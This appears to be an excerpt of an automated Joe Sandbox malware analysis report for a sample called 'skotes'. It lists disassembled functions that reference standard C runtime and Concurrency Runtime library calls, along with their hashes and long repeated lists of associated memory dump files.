Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: 4c2d33221648d37653dea941d6fd0e561bcd408283f20865a14de61dc9949807
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 29515F79A00209AFDF08DF64C495BEDB3A8BF59304F054069E915EB282DB74AE45CBA0

Function 001B52A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 001B53A0
type_info::operator==.LIBVCRUNTIME ref: 001B53C7
___TypeMatch.LIBVCRUNTIME ref: 001B54D3
IsInExceptionSpec.LIBVCRUNTIME ref: 001B55AE
CallUnexpected.LIBVCRUNTIME ref: 001B5650

Strings

csm, xrefs: 001B53FE
csm, xrefs: 001B534D
csm, xrefs: 001B52E0

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: b9fd7e1c151daccd0aac49e8954b4b7a39c5fe70dc0890227078b73d236ce827
Instruction ID: b3d0e58d587918e54e2e9fea980e8f32ad338b12efe6f8f6816142d04c2d6557
Opcode Fuzzy Hash: b9fd7e1c151daccd0aac49e8954b4b7a39c5fe70dc0890227078b73d236ce827
Instruction Fuzzy Hash: 06C19C71800609DFCF29DFA8D880AEEBBB6FF28315F14415AF8156B212D771DA51CB91

Function 001A7364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 001A73B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 001A73F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 001A740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 001A7419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001A7440

Strings

count, xrefs: 001A737E
ppVirtualProcessorRoots, xrefs: 001A7438

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 2bd126ba5568c8b1752b2d7b4b6c78ba9beb88ec3c4c0dd7059c200cc7741717
Instruction ID: f46fe8dce0176e22e4243c4972f44b7ea405f0378ee5653ee73f91075709ebaa
Opcode Fuzzy Hash: 2bd126ba5568c8b1752b2d7b4b6c78ba9beb88ec3c4c0dd7059c200cc7741717
Instruction Fuzzy Hash: 34215338A00309AFCF14EFA4D9959ADBBB5FF1A350F154069E80597391DB30AE01CF90

Function 001A78E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 001A7903

Part of subcall function 001A5CB8: __EH_prolog3_catch.LIBCMT ref: 001A5CBF
Part of subcall function 001A5CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 001A5CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 001A792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 001A7936

Part of subcall function 001A5CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 001A5D70
Part of subcall function 001A5CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 001A5D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 001A7982
Concurrency::location::_Assign.LIBCMT ref: 001A79A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 001A79AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 001A79BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 001A79ED

Part of subcall function 001A691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 001A6942
Part of subcall function 001A691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 001A6965

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 8d5767b35990d4b9c2545dfebf7e15bdd3c7f95f0d3f75fe6b04d2920c9997e4
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 4F310838B08255AACF16AB784C927FFB7B59F53328F0401AAD485D7282DB244E4AC391

Function 001B4840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 001B4877
___except_validate_context_record.LIBVCRUNTIME ref: 001B487F
_ValidateLocalCookies.LIBCMT ref: 001B4908
__IsNonwritableInCurrentImage.LIBCMT ref: 001B4933
_ValidateLocalCookies.LIBCMT ref: 001B4988

Strings

csm, xrefs: 001B491D

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: b08f7b5735482187f12901a2cefcfb59d858318020350f2a8c3209411eb5ac15
Instruction ID: c92354e74342b1b40d09fe4c9e2c1f153f562c554c1195f7e67889819387a649
Opcode Fuzzy Hash: b08f7b5735482187f12901a2cefcfb59d858318020350f2a8c3209411eb5ac15
Instruction Fuzzy Hash: 1041B034A00258ABCF10DF68D885AEEBBB5BF59328F14C159E8189B393D7319A51CB91

Function 001ADD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 001ADD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 001ADDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 001ADE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 001ADE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 001ADE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 001ADE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 001ADE74

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
